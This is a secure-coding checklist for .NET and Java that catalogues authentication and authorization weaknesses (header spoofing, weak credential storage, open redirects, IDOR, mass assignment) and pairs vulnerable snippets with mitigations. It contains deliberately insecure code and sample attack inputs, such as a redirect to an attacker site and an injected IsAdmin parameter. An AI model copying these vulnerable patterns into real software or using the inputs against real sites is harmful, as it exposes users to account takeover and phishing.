Secure Code Ultimate CheckList

Author	Bedirhan Urgun / bedirhanurgun {at} gmail.com
Last Update	10.06.2017
Licensed Under	GPLv3
Technologies	JEE/.NET/ANDROID

There are eight classes of vulnerabilities in Secure Code Checklist;

- Authentication
- Authorization
- Code Quality
- Configuration
- Cryptography
- Injection
- Miscellaneous
- Session Management

While all of these finding classes include security vulnerabilities, the Code Quality class includes general defects affecting specifically the quality of the code but may still have impact on security.

Here are the attributes that decorate every single finding that Secure Code CheckList produces. These attributes with their values can mainly be used to prioritize the findings for managers, security auditors and developers;

- The Severity
- The Fix Cost
- The Trust Level

The Severity

The severity of a finding is a combined value of two criteria. One of them is an Secure Code CheckList Research & Experience centric assessment value of how important the finding is. The other one is the possible consequence of the finding when successfully exploited by the attackers. As such the severity of a finding can be listed as one of;

Severity	**Explanation**

Critical	Finding has the number one priority for mitigation. When exploited the attacker can claim complete control over the software or complete highly sensitive data
High	Finding should be mitigated as soon as possible, but it is less important than the critical findings. When exploited the attacker can claim significant control over the software, or access to some sensitive data
Medium	Finding should be mitigated, but only after High and Critical findings. When exploited the attacker can claim moderate control over the software being analyzed, or access to moderately important data
Low	It's not a priority to mitigate the finding. When exploited the attacker can claim minimal to none control over the software, or only access to relatively unimportant data

The Fix Cost

It's hard to guess a value for an effort to fix a finding since there are various factors such as development quality, test quality etc. However fix cost for a finding tries to give an approximate effort that should be consumed to mitigate a finding relative to others.

Cost	Explanation
High	It takes a change in design or architecture or substantial code changes in more than one file or it takes other system changes too to fix the finding, such as mandatory client changes
Medium	It takes more than code block local change (more than 10 lines of code)
Low	It takes a single block (less than 10 lines of code) or a method change to fix the finding

The Trust Level

Static code analysis has its shortcomings, one of which is the ugly reality of false positives (commonly called *false alarms*) just like with all dynamic and even manual security testing with no exception. With its intrinsic implementation details Secure Code CheckList tries to differentiate between findings which are highly believed to be *non false positive* and which are possibly believed to be *false positive*.

Trust Level	Explanation
High	It's firmly believed that the finding is spot on, or in other words **not** a false alarm. No further analysis is required. Any custom validation mechanism doesn't count.
Medium	It's somewhat believed that the finding is spot on, or in other words **not** a false alarm. Some further analysis might be required.

Low	It's possible that the finding a false alarm. Further analysis is required.

Word on References

References to standards or popular classifications will not include version numbers, such as OWASP Top 10 2013 A3 or PCI DSS v3.2 6.5.1. Secure Code CheckList will try to keep references to most up-to-date versions of these standards or popular classifications.

Authentication

Possibly Insecure Use of X-Forwarded-For

Title	Possibly Insecure Use of X-Forwarded-For
Summary	By manipulating X-Forwarded-For HTTP header value, hackers can access web pages or resources otherwise IP restricted or they can hide their attack footprints by producing log entries containing wrong source IP addresses.
Severity	High
Fix Cost	Medium
Trust Level	Low
Labels	http header
ID	
Description	
Technology	.NET

When a client connects to a server through a proxy or a load balancer, it's imperative for an endpoint to use custom HTTP headers to be able to forward the identity of a the connecting client.

X-Forwarded-For (XFF) header is one of the mostly used HTTP header for that purpose. It serves a place where every forwarding node uses to store its direct client's IP address using a comma as the separator forming a historical HTTP connection path. However HTTP is a text-based standard and it's super easy to forge any part of it's content. So a malicious client may send an HTTP request such as below;

```
GET /authorize HTTP/1.1
Host: myserver.com
X-Forwarded-For: 127.0.0.1
```

And the proxies and load balancers (when not configured securely) will put the client's IP address at the end of the original header when they get the above request. So, the HTTP request becomes;

```
GET /authorize HTTP/1.1
Host: myserver.com
X-Forwarded-For: 127.0.0.1, 123.312.234.432
```

In the code it's hard to correctly parse the above header to get the original client's IP address. By forging XFF header in this way the client may reach unauthorized parts of an application, create possible denial of service attacks or forge IP addresses logged. Here's a code snippet

using X-Forwarded-For header for getting source IP address.

```
string addr = Request.Headers["X-Forwarded-For"];
if(addr == null)
{
        addr = Request.UserHostAddress;
}
else
{
        addr = addr.Split(",")[0];
}
```

Note: The header name “X-Forwarded-For” can be replaced by other names with the same goal;

- WL-Proxy-Client-IP,
- Z-Forwarded-For,
- Source-IP or
- any other proprietary custom header names

Technology	JAVA

When a client connects to a server through a proxy or a load balancer, it’s imperative for an endpoint to use custom HTTP headers to be able to forward the identity of a the connecting client.

X-Forwarded-For (XFF) header is one of the mostly used HTTP header for that purpose. It serves a place where every forwarding node uses to store its direct client’s IP address using a comma as the separator forming a historical HTTP connection path. However HTTP is a text-based standard and it’s super easy to forge any part of it’s content. So a malicious client may send an HTTP request such as below;

```
GET /authorize HTTP/1.1
Host: myserver.com
X-Forwarded-For: 127.0.0.1
```

And the proxies and load balancers (when not configured securely) will put the client’s IP address at the end of the original header when they get the above request. So, the HTTP request becomes;

```
GET /authorize HTTP/1.1
Host: myserver.com
X-Forwarded-For: 127.0.0.1, 123.312.234.432
```

In the code it’s hard to correctly parse the above header to get the original client’s IP address. By forging XFF header in this way the client may reach unauthorized parts of an application, create possible denial of service attacks or forge IP addresses logged. Here’s a code snippet using X-Forwarded-For header for getting source IP address.

```
string addr = request.getHeader("WL-Proxy-Client-IP");
if(addr == null)
{
  addr = Request.UserHostAddress;
}
```

```
else
{
  addr = addr.split(",")[0];
}
```

Note: The header name “WL-Proxy-Client-IP” can be replaced by other names with the same goal;

- X-Forwarded-For,
- Z-Forwarded-For,
- Source-IP or
- any other proprietary custom header names

Mitigation

It’s somewhat hard and error-prone to get the “right” IP address behind a proxy. There are two basic mitigations to securely using HTTP forwarding headers;

1. If using a HTTP aware load-balancer or reverse proxy, deleting the value of the X-Forwarded-For HTTP header and then adding the IP address of the direct socket connection should be the first choice. Rules can be written in most of the load-balancers to this end.
2. If the above item is not an option, then all the trusted IP addresses in the XFF header should be removed starting from the right hand side. The first IP address that’s not trusted (not one of our proxy IP addresses) this IP could be taken as the source IP address.

References	
	• CWE-348 • HIPAA Security Rule 45 CFR 164.306(a)(1) • OWASP Top 10 A2 • PCI DSS 6.5.10

Empty Password In Connection Strings

Title	Empty Password In Connection Strings
Summary	The attacker can access confidential resources without using any password
Severity	Medium
Fix Cost	Medium
Trust Level	High
Labels	credential, authentication, configuration
ID	

Description	
Technology	.NET

Configuration files are the one of the most popular storage areas to place resource credentials, such as database passwords, ldap connectivity passwords, etc.

Below snippet shows such a configuration piece including using empty password to connect to remote database server.

```
<connectionStrings>
   <add name="mydbcon" connectionString="Data Source= tcp:10.10.2.1,1434; Initial Catalog = mydb; User ID=myuser;Password=;" />
…
```

This will enable brute force or dictionary attacks more practical and easy to employ by attackers.

Technology	JAVA

Application servers' data source management administrator interfaces' are one of the most popular places where database connection strings including credentials are stored. However, it is also popular to use code to initialize connections by providing database connection strings and credentials.

Below snippet shows such a configuration piece including using empty password to connect to remote database server.

```
try
{
  Class.forName("com.mysql.jdbc.Driver").newInstance();
  String url = "jdbc:mysql://10.12.1.34/augment");
  conn = DriverManager.getConnection(url, username,"");
  doUnitWork();
}
catch(SQLException se)
{
  //
}
finally
{
 // manage conn
}
```

This will enable brute force or dictionary attacks more practical and easy to employ by attackers.

Mitigation	
Technology	.NET
Using weak passwords is a bad practice for any authentication system for the obvious reasons. Service account passwords, such as database passwords, LDAP account passwords, etc should follow best practices conforming certain rules to attain enough complexity against brute force attacks in general.	
Technology	JAVA
Using weak passwords is a bad practice for any authentication system for the obvious reasons. Service account passwords, such as database passwords, LDAP account passwords, etc should follow best practices conforming certain rules to attain enough complexity against brute force attacks in general.	
References	• CWE-258 • HIPAA Security Rule 45 CFR 164.312(d) • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(D) • OWASP Top 10 A2 • OWASP Top 10 A6 • PCI DSS 6.5.3 • PCI DSS 6.5.10

Empty Password in Configuration

Title	Empty Password In Configuration
Summary	The attacker can access confidential resources without using any password
Severity	Medium
Cost Fix	Medium
Trust Level	Low
Labels	credential, authentication, configuration
ID	
Description	Configuration files are the one of the most popular storage areas to place resource credentials, such as database passwords, ldap connectivity

	passwords, etc. Below snippet shows such a configuration piece including using empty password that may be used for authentication. <configuration> <appSettings> <add key="password" value="" /> <add key="secret" value="" /> </appSettings> This will enable brute force or dictionary attacks more practical and easy to employ by attackers.
Mitigation	Using weak passwords is a bad practice for any authentication system for the obvious reasons. Service account passwords, such as database passwords, LDAP account passwords, etc should follow best practices conforming certain rules to attain enough complexity against brute force attacks in general.
References	• CWE-258 • HIPAA Security Rule 45 CFR 164.312(d) • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(D) • OWASP Top 10 A2 • OWASP Top 10 A6 • PCI DSS 6.5.3 • PCI DSS 6.5.10

Insecure Basic Authentication

Title	Insecure Basic Authentication
Summary	The attacker can access username and passwords in cleartext
Severity	Critical
Cost Fix	Medium
Trust Level	High
ID	

Description	
Technology	.NET

Basic authentication is a widely used and oldest authentication technique being inherently insecure. For example, the below HTTP request includes Basic Authentication credentials entered by the end user in Authorization header encoded in Base64.

```
GET /index.html HTTP/1.1
Host: www.abc.com
Authorization: Basic a2VtYWw6aXN0YW5idWw=
```

An attacker intercepting (if SSL is not used) this message can easily decode the value and gather the username and password in cleartext.

The code snippet below uses backend to backend HTTP connection without SSL using Basic Authentication and therefore open to man-in-the-middle attacks.

```
var credentials = new NetworkCredential(username, password);
var credentialCache = new CredentialCache();
credentialCache.Add(uri, "Basic", credentials);

WebRequest request = WebRequest.Create(url);
request.Credentials = credentials;
```

Technology	JAVA

Basic authentication is a widely used and oldest authentication technique being inherently insecure. For example, the below HTTP request includes Basic Authentication credentials entered by the end user in Authorization header encoded in Base64.

```
GET /index.html HTTP/1.1
Host: www.abc.com
Authorization: Basic a2VtYWw6aXN0YW5idWw=
```

An attacker intercepting (if SSL is not used) this message can easily decode the value and gather the username and password in cleartext.

The code snippet below uses backend to backend HTTP connection without SSL using Basic Authentication and therefore open to man-in-the-middle attacks.

```
URL url = new URL(targetServer);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
String creds = username + ":" + password;
String basicAuth = "Basic " + new String(new Base64().encode(creds.getBytes()));
```

conn.setRequestProperty ("Authorization", basicAuth);
Mitigation

Technology	.NET
There's a huge advantage of using an insecure protocol such as Basic Authentication and that is the algorithm is the most widely implemented algorithm. It is supported everywhere. So, in order to use it properly SSL should be employed.	
Technology	JAVA
There's a huge advantage of using an insecure protocol such as Basic Authentication and that is the algorithm is the most widely implemented algorithm. It is supported everywhere. So, in order to use it properly SSL should be employed.	
References	• CWE-311 • HIPAA Security Rule 45 CFR 164.312(a)(2)(iii) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • PCI DSS 6.5.10

Insecure Legacy Forms Authentication

Title	Insecure Legacy Forms Authentication
Summary	The attackers can login into the application as other users
Severity	Urgent
Cost Fix	High
Trust Level	High
ID	
Description	ASP.NET Forms Authentication mechanism has a vulnerability that allows attackers to send unvalidated inputs when registering into the applications and then logging as other users.

	On newer ASP.NET versions the vunerability is patched by changing input validation strategies, however, the existence of a legacy directive below will revert back the fixed mechanism to unfixed one. <appSettings> <add key="aspnet:UseLegacyFormsAuthenticationTicketCompatibility" value="true" /> </appSettings> ...
Mitigation	The ASP.NET security update is published for ● Microsoft .NET Framework 1.1 Service Pack 1 ● Microsoft .NET Framework 2.0 Service Pack 2 ● Microsoft .NET Framework 3.5 Service Pack 1 ● Microsoft .NET Framework 3.5.1 ● and Microsoft .NET Framework 4 on all supported editions of Microsoft Windows. So after these patches the legacy directive should not be used in production servers.
References	● MS11-100 ● HIPAA Security Rule 45 CFR 164.312(d) ● OWASP Top 10 A5 ● PCI DSS 6.5.10

Insecure Plaintext Passwords Forms Authentication

Title	Insecure Plaintext Passwords Forms Authentication
Summary	Leveraging a privilege escalation the attackers can easily gather user passwords since they are kept plaintext
Severity	High
Cost Fix	Medium
Trust Level	High
ID	

Description	ASP.NET Forms Authentication mechanism supports optional definitions of name and password credentials within the configuration file. For prototyping purposes or very small and basic applications this ways of keeping user credentials in Web.config for Forms Authentication is doable.
	
	Below configuration example defines Forms Authentication with credentials for which passwords are kept in cleartext. Anybody who has a view permission for Web.config (through a vulnerability or normal flow) can view application users passwords.
	
	`<configuration>`
	`<system.web>`
	`<authentication mode="Forms">`
	`<forms loginUrl="~/Account/Login" timeout="1440">`
	`<credentials passwordFormat="Clear">`
	`<user name="admin" password="secret" />`
	`</credentials>`
	`</forms>`
	`</authentication>`
	…

Mitigation	Using Forms Authentication credentials element with plaintext passwords should not be used in production environment. As a matter of fact, storing user's' credentials should be prevented in Web.config file.
References	● CWE-258 ● HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) ● HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) ● HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(D) ● OWASP Top 10 A5 ● OWASP Top 10 A6 ● PCI DSS 6.5.3

Insecure Password Storage Forms Authentication

Title	Insecure Password Storage Forms Authentication
Summary	Leveraging a privilege escalation the attackers can easily gather user passwords since they are kept using weak cryptographic mechanisms
Severity	Medium
Cost Fix	Medium

Trust Level	High
ID	

Description	ASP.NET Forms Authentication mechanism supports optional definitions of name and password credentials within the configuration file. For prototyping purposes or very small and basic applications this ways of keeping user credentials in Web.config for Forms Authentication is doable.
	
	Below configuration example defines Forms Authentication with credentials for which passwords are kept in MD5 hashes. Anybody who has a view permission for Web.config (through a vulnerability or normal flow) can view application users passwords in cryptographic digest, however, since it's easy to crack MD5, either using brute-force or online rainbow tables, this method of storage proves to be insecure.
	
	`<configuration>`
	`<system.web>`
	`<authentication mode="Forms">`
	`<forms loginUrl="~/Account/Login" timeout="1440">`
	`<credentials passwordFormat="MD5">`
	`<user name="admin" password="ab4725ecba07494762aacff12" />`
	`</credentials>`
	`</forms>`
	`</authentication>`
	…

Mitigation	Using Forms Authentication credentials element with MD5 digest passwords should not be used in production environment. As a matter of fact, storing user's' credentials should be prevented in Web.config file.
References	● CWE-258 ● HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) ● HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) ● HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(D) ● OWASP Top 10 A5 ● OWASP Top 10 A6 ● PCI DSS 6.5.3

Authorization

Open Redirect

Title	Open Redirect
Summary	Attackers may execute sophisticated phishing attacks abusing the trust your end-users have on your application domain name
Severity	High
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Sometimes code should redirect the browsers to another absolute or relative URL. The to be redirected location is formed according to an HTTP parameter value.

An example to this phenomena is to redirect users to relative application URLs that needs unauthenticated user to be authenticated. For example, sometimes users bookmark parts of the application for quick access in the future. However, these parts of the application may need user to be authenticated. Therefore, when users click on these bookmarks, the application redirects those users to the login page with a URL parameter storing the original bookmark relative URL such as below;

http://www.trustedapplication.com/login?redir=/profile

When the user logs into the application successfully, the code takes the redir parameter's value and execute a redirection such as;

```
String url = Request["redir"];
Response.Redirect(url);
```

Attackers can form URLs such as below to trick other end users to login to the application. However, when users logs into the application through the given link, the code will redirect them to the attacker's web site. This way attacker uses the trust that end users have in the

target application but show them a fake site.

http://www.trustedapplication.com/login?redir=http://www.attacker.com/

Technology	JAVA

Sometimes code should redirect the browsers to another absolute or relative URL. The to be redirected location is formed according to an HTTP parameter value.

An example to this phenomena is to redirect users to relative application URLs that needs unauthenticated user to be authenticated. For example, sometimes users bookmark parts of the application for quick access in the future. However, these parts of the application may need user to be authenticated. Therefore, when users click on these bookmarks, the application redirects those users to the login page with a URL parameter storing the original bookmark relative URL such as below;

http://www.trustedapplication.com/login?redir=/profile

When the user logs into the application successfully, the code takes the redir parameter's value and execute a redirection such as;

```
String url = request.getParameter("redir");
response.sendRedirect(url);
```

Attackers can form URLs such as below to trick other end users to login to the application. However, when users logs into the application through the given link, the code will redirect them to the attacker's web site. This way attacker uses the trust that end users have in the target application but show them a fake site.

http://www.trustedapplication.com/login?redir=http://www.attacker.com/

Mitigation

Every user controlled redirection should apply a whitelist input validation strategy against the untrusted parameter.

One such strategy may make sure that the untrusted parameter starts with / character to make sure that the value is a relative path, so redirection stays in the same application.

Another prevention strategy is to make sure that the untrusted parameter value starts with a trusted domain such as "http://www.trusteddomain.com/"

References	• CWE-601

	• HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A10 • PCI DSS 6.5.6

Open Internal Redirect

Title	Open Internal Redirect
Summary	Attackers may execute sophisticated cross site request forgery attacks abusing the trust your end-users have on your application domain name
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Sometimes code should redirect the browsers to relative URL. The to be redirected location is formed according to an HTTP parameter value.

An example to this phenomena is to redirect users to relative application URLs that needs unauthenticated user to be authenticated. For example, sometimes users bookmark parts of the application for quick access in the future. However, these parts of the application may need user to be authenticated. Therefore, when users click on these bookmarks, the application redirects those users to the login page with a URL parameter storing the original bookmark relative URL such as below;

http://www.trustedapplication.com/login?redir=/profile

When the user logs into the application successfully, the code takes the redir parameter's value and execute a redirection such as;

```
String urlContext = Request["redir"];
Response.Redirect(Request.Url.Authority + urlContext);
```

Attackers can form URLs such as below to trick other end users to login to the application.

However, when users logs into the application through the given link, the code will redirect them to the web site's unintended context path, such as to a path that deletes the account with confirmation. This way attacker uses the trust that end users have in the target application but execute a sophisticated CSRF attacks.

http://www.trustedapplication.com/login?redir=/deleteaccountconfirm

Technology	JAVA

Sometimes code should redirect the browsers to relative URL. The to be redirected location is formed according to an HTTP parameter value.

An example to this phenomena is to redirect users to relative application URLs that needs unauthenticated user to be authenticated. For example, sometimes users bookmark parts of the application for quick access in the future. However, these parts of the application may need user to be authenticated. Therefore, when users click on these bookmarks, the application redirects those users to the login page with a URL parameter storing the original bookmark relative URL such as below;

http://www.trustedapplication.com/login?redir=/profile

When the user logs into the application successfully, the code takes the redir parameter's value and execute a redirection such as;

```
String urlContext = request.getParameter("redir");
response.sendRedirect(getBaseUrl(request) + urlContext);
```

Attackers can form URLs such as below to trick other end users to login to the application. However, when users logs into the application through the given link, the code will redirect them to the web site's unintended context path, such as to a path that deletes the account with confirmation. This way attacker uses the trust that end users have in the target application but execute a sophisticated CSRF attacks.

http://www.trustedapplication.com/login?redir=/deleteaccountconfirm

Mitigation

Every user controlled redirection should apply a whitelist input validation strategy against the untrusted parameter.

One such strategy may make sure that the untrusted parameter is from a predefined list of trusted and secure context paths.

Another prevention strategy is to make sure that all the state changing requests are executed through POST requests and protected against CSRF attacks.	
References	• CWE-601 • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A10 • PCI DSS 6.5.6

Insecure Direct Object Reference

Title	Insecure Direct Object Reference
Summary	The attacker can access or manipulate data of users other than himself by manipulating the HTTP parameters
Severity	Critical
Cost Fix	Low
Trust Level	Low
ID	

Description

Insecure Direct Object Reference (IDOR) is one of the easiest exploitable attack vectors that hackers can pull off. The only thing they have to try is to test every parameter value to understand if changing the parameter's value lets them accessing or changing others application data.

For example, imagine a view that lists the historical purchases of the user that was previously authenticated. When user clicks details of one of those listed purchases, the ID, let's assume 3657435, of the purchase is sent from browser to the backend application and the glory details of the selected single purchase is shown as a separate interface.

Here the authenticated user might have bad intentions and when sending the ID, 3657435, of the purchase, he might change to other predictable IDs of purchases of other users. Let the changed ID is 3657436. If the back end code doesn't really check whether the received purchase ID really belongs to the current user before sending the details, the attacker is now able to see the details of other users' purchases.

http://www.buymebuy.com/purchased?ID=3657435
Mitigation
There are more than one way of protecting against IDOR. The first one is to make sure that the parameter value that is received from untrusted sources such as HTTP users really belongs to the user using the current session. This control can be achieved by a simple SQL join by using the users and purchases tables in the database by using the received purchase ID and user ID fetched from the session of the current user. If changing the SQL isn't an option, getting rid of the predictability of the purchase IDs sent to the browser might be an alternative. http://www.buymebuy.com/purchased?ID=Ahs94dkdi304jsl274jsdls723

References	• CWE-639 • CWE-862, CWE-863, CWE-22, CWE-434, CWE-829 • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 A4 • PCI DSS 6.5.8

Insecure LDAP SimpleBind

Title	Insecure LDAP SimpleBind
Summary	The attacker can access LDAP account passwords in cleartext
Severity	Critical
Cost Fix	Medium
Trust Level	High
ID	
Description	
Technology	.NET

Basic authentication is a widely used and oldest authentication technique being inherently insecure. For example, the below HTTP request includes Basic Authentication credentials entered by the end user in Authorization header encoded in Base64.

```
GET /index.html HTTP/1.1
Host: www.abc.com
Authorization: Basic a2VtYWw6aXN0YW5idWw=
```

An attacker intercepting (if SSL is not used) this message can easily decode the value and gather the username and password in cleartext.

In programming languages, LDAP APIs provide various connection frameworks with different binding methods to the server. SimpleBind is a way of binding which uses Basic Authentication and therefore insecure.

The below code snippet uses SimpleBind in order to connect to the target LDAP server including SimpleBind in bitwise OR operation.

```
using (var context = new PrincipalContext(ContextType.Domain, domain))
{
        return context.ValidateCredentials(userName, password,
                ContextOptions.SimpleBind | ContextOptions.Negotiate);
}
```

The attacker can intercept this LDAP bind (authentication) operation and get the username and password in cleartext.

Another insecure code snippet that usage of Basic Authentication is;

```
var identifier = new LdapDirectoryIdentifier(server, port);
var credential = new NetworkCredential(username, password);
var ldapConnection = new LdapConnection(identifier, credential);
ldapConnection.AuthType = AuthType.Basic;
```

Technology	JAVA

Basic authentication is a widely used and oldest authentication technique being inherently insecure. For example, the below HTTP request includes Basic Authentication credentials entered by the end user in Authorization header encoded in Base64.

```
GET /index.html HTTP/1.1
Host: www.abc.com
Authorization: Basic a2VtYWw6aXN0YW5idWw=
```

An attacker intercepting (if SSL is not used) this message can easily decode the value and

gather the username and password in cleartext.

In programming languages, LDAP APIs provide various connection frameworks with different binding methods to the server. SimpleBind is a way of binding which uses Basic Authentication and therefore insecure.

The below code snippet uses simple authentication order to connect to the target LDAP server.

```
try{
  Hashtable env = new Hashtable(15);
  env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");

  env.put(Context.PROVIDER_URL, "ldap://10.10.123.12:389");

  // the other insecure option is “none”
  env.put(Context.SECURITY_AUTHENTICATION, "simple");

  DirContext ctx = new InitialDirContext(env);

  // Create the search controls
  SearchControls searchCtls = new SearchControls();

  //Specify the attributes to return
  String returnedAtts[] = {"mail", "description", "givenname", "roomNumber", "employeeNumber", "uid"};
  searchCtls.setReturningAttributes(returnedAtts);

  //Specify the search scope
  searchCtls.setSearchScope(SearchControls.SUBTREE_SCOPE);

  //specify the LDAP search filter
  String searchFilter = filter;

  //Specify the Base for the search
  String searchBase = "ou=people,dc=mycompany,dc=com";

  // Search for objects using the filter
  NamingEnumeration<SearchResult> answer = ctx.search(searchBase, searchFilter, searchCtls);
```

The attacker can intercept this LDAP bind (authentication) operation and get the username and password in cleartext.

Mitigation	
Technology	.NET

LDAP APIs provide more secure bind techniques such as;

- ContextOptions.SecureSocketLayer
- ContextOptions.Negotiate
- ContextOptions.Sealing

For example, in ContextOptions.Negotiate the client is authenticated by using either Kerberos or NTLM.

Technology	JAVA

LDAP APIs provide more secure bind techniques such as secure SASL mechanisms;

- External
- Kerberos v4
- Kerberos v5 (GSSAPI)
- SecurID
- S/Key

For example;

```
try{
  Hashtable env = new Hashtable(15);
  env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");

  env.put(Context.PROVIDER_URL, "ldap://10.10.123.12:389");

  // https://docs.oracle.com/javase/tutorial/jndi/ldap/sasl.html
  env.put(Context.SECURITY_AUTHENTICATION, "GSSAPI");

  DirContext ctx = new InitialDirContext(env);
```

References	

- CWE-522
- HIPAA Security Rule 45 CFR 164.312(e)(2)(ii)
- OWASP Top 10 A6
- PCI DSS 6.5.3

Inadequate Authorization Mechanism

Title	Inadequate Authorization Mechanism
Summary	The attacker can bypass authorization mechanisms that are inherently hard to maintain

Severity	Critical
Cost Fix	High
Trust Level	Medium
ID	

Description

Technology	.NET

Frameworks provide easy to use authorization mechanism such as IsInRole static method or web.config authorization-allow directives. These mechanisms provide an appropriate authorization checks easily and quickly, however, as the requirements and the code gets more complex it becomes hard to maintain these styles of checks and easy to bring security weaknesses.

The code below uses such a technique for authorization;

```
if (User.IsInRole("admin")){
   // only admins can access
}
else if (User.IsInRole("spectator")){
   // only monitoring users can access
}
else {
   // ...
}
```

It’s always hard to maintain an authorization check code for which as the requirement evolves the changes should take place in different places, in controllers, business logic or in views. This may lead to simple mistakes go unnoticed until a hacker finds out to abuse.

Another problematic hardcoded authorization check code piece is given below utilizing MVC annotations;

```
[Authorize(Roles = "root, admin, auditor")]
[HttpPost]
public ActionResult BulkInsert(NM model)
{
   // ...
}
```

Technology	JAVA

Frameworks provide easy to use authorization mechanism such as IsInRole static method or web.config authorization-allow directives. These mechanisms provide an appropriate authorization checks easily and quickly, however, as the requirements and the code gets more complex it becomes hard to maintain these styles of checks and easy to bring security weaknesses.

The code below uses such a technique for authorization;

```
if (request.isUserInRole("admin")){
   // only admins can access
}
else if (request.isUserInRole("spectator")){
   // only monitoring users can access
}
else {
   // ...
}
```

It's always hard to maintain an authorization check code for which as the requirement evolves the changes should take place in different places, in controllers, business logic or in views. This may lead to simple mistakes go unnoticed until a hacker finds out to abuse.

Another problematic hardcoded authorization check code pieces are given below utilizing annotations;

```
@PreAuthorize("hasAnyRole('admin','monitor')")
public Item findItem(long itemNumber) {
  // ...
}

@PreAuthorize("hasRole('admin')")
public Item findItem(long itemNumber) {
  // ...
}

@RolesAllowed({ "admin", "root" })
public void create(Contact contact){
  // ...
}

@Secured({ "admin", "root" })
public void create(Contact contact){
  // ...
}
```

Mitigation

Technology	.NET

Authorization is a hard problem to tackle, however, it should be easy to audit and centralized. There are many solid authorization models but it quickly gets very complex. A possible solution may be given like this;

```
rep = new ReservationRepository();
int id = GetReservationID();
try{
   CheckPermission(id, Operation.READ);
}
catch(PermissionException pe){
   // yetkilendirme hatası
}
RsrvtnModel model = rep.GetReservation(id);
```

The above code doesn't include anything about internals of the authorization decision, therefore, abstracts away all the details to a centralized, easy to audit mechanism.

Technology	JAVA

Authorization is a hard problem to tackle, however, it should be easy to audit and centralized. There are many solid authorization models but it quickly gets very complex. A possible solution may be given like this;

```
@PreAuthorize("hasPermission(#itemNumber, 'read')")
public Item findItem(long itemNumber) {
  // ...
}
```

The above code doesn't include anything about internals of the authorization decision, therefore, abstracts away all the details to a centralized, easy to audit mechanism.

References	

- CWE-285
- HIPAA Security Rule 45 CFR 164.312(a)(1)
- OWASP Top 10 A7
- PCI DSS 6.5.8

Mass Assignment

Title	Mass Assignment
Summary	The attacker can become administrator or change any properties of his

	account/being which is otherwise prohibited
Severity	Critical
Cost Fix	Medium
Trust Level	Low
ID	
Description	
Technology	.NET

MVC type of programming uses auto-binding when populating user sent HTTP parameters in developer created class instances. This is a great relief for developers since getting the user input by using the framework APIs such as System.Web.HttpRequest with sanity checks really becomes cumbersome.

The code snippet below includes this technique which takes this responsibility from the developer and auto populates the User class instance. The auto-binding is done by using easy mapping between HTTP parameter names and class property names.

```
public class UserController : Controller
{
  public String Register(User user)
  {
    // ...
    db.Users.Add(user);
    db.SaveChanges();
  }
}

public class User
{
   public string Username { get; set; }
   public string Firstname { get; set; }
   public string LastName { get; set; }
   // ...
   public bool IsAdmin { get; set; }
}
```

Here the attacker may register a new user with an administrator role by sending an extra HTTP parameter called *IsAdmin* with value *true*. The framework will populate the new User instance of which IsAdmin property will be true and save to the persistent storage. Next time the attacker logs in, he will be an administrator on the application.

Note: There may not be a persistent storage for a Mass Assignment to occur. Any critical and unwanted state changing by adding extra parameters and manipulating auto-binding is classified as Mass Assignment.

Technology	JAVA

MVC type of programming uses auto-binding when populating user sent HTTP parameters in developer created class instances. This is a great relief for developers since getting the user input by using the framework APIs such as javax.servlet.http.HttpServletRequest with sanity checks really becomes cumbersome.

The code snippet below includes this technique which takes this responsibility from the developer and auto populates the User class instance. The auto-binding is done by using easy mapping between HTTP parameter names and class property names.

```
@Controller
public class UserController {

  @RequestMapping(method = RequestMethod.POST)
  public String Register(User user) {
            // save user to DB
            return "success";
  }

}

public class Person {

  private String name;
  private int age;
  private boolean isadmin;
  private Account account;

  public Person(){
    account = new Account();
  }

  public boolean isIsadmin() {
    return isadmin;
  }

  public void setIsadmin(boolean isadmin) {
    this.isadmin = isadmin;
  }
...
```

Here the attacker may register a new user with an administrator role by sending an extra HTTP parameter called *IsAdmin* with value *true*. The framework will populate the new User instance of which IsAdmin property will be true and save to the persistent storage. Next time the attacker logs in, he will be an administrator on the application.

Note: There may not be a persistent storage for a Mass Assignment to occur. Any critical and unwanted state changing by adding extra parameters and manipulating auto-binding is classified as Mass Assignment.

Mitigation	
Technology	.NET

There are more than one way of preventing Mass Assignment to happen. The best way to avoid this weakness is to create separate view models, such as UserViewModel including only the expected properties.

However, another quick prevention technique is provided by .NET framework through Bind annotations;

```
public class UserController : Controller
{
  public String Register([Bind(Exclude="IsAdmin")]User user)
  {
    // ...
    db.Users.Add(user);
    db.SaveChanges();
  }
}
```

The above code prevents end users to auto-bind to IsAdmin property of a User. However, this is blacklisting and should be avoided. The better version will be;

```
public class UserController : Controller
{
  public String Register([Bind(Include="Username, Firstname, Lastname")]User user)
  {
    // ...
    db.Users.Add(user);
    db.SaveChanges();
  }
}
```

Technology	JAVA

There are more than one way of preventing Mass Assignment to happen. The best way to avoid this weakness is to create separate view models, such as UserViewModel including only the expected properties.

However, another quick prevention technique is provided by Spring framework through initBinder overwritten method;

```
@Controller
public class UserController {

  @InitBinder
  public void initBinder(WebDataBinder binder){
    binder.setDisallowedFields(new String[]{"isadmin", "account.code", "account.amount"});
  }

  @RequestMapping(method = RequestMethod.POST)
  public String Register(User user) {
            // save user to DB
            return "success";
  }

}
```

The above code prevents end users to auto-bind to IsAdmin property of a User. However, this is blacklisting and should be avoided. The better version will be;

```
@Controller
public class UserController {

  @InitBinder
  public void initBinder(WebDataBinder binder){
    binder.setAllowedFields(new String[]{"name", "age"});
  }

  @RequestMapping(method = RequestMethod.POST)
  public String Register(User user) {
            // save user to DB
            return "success";
  }

}
```

References	
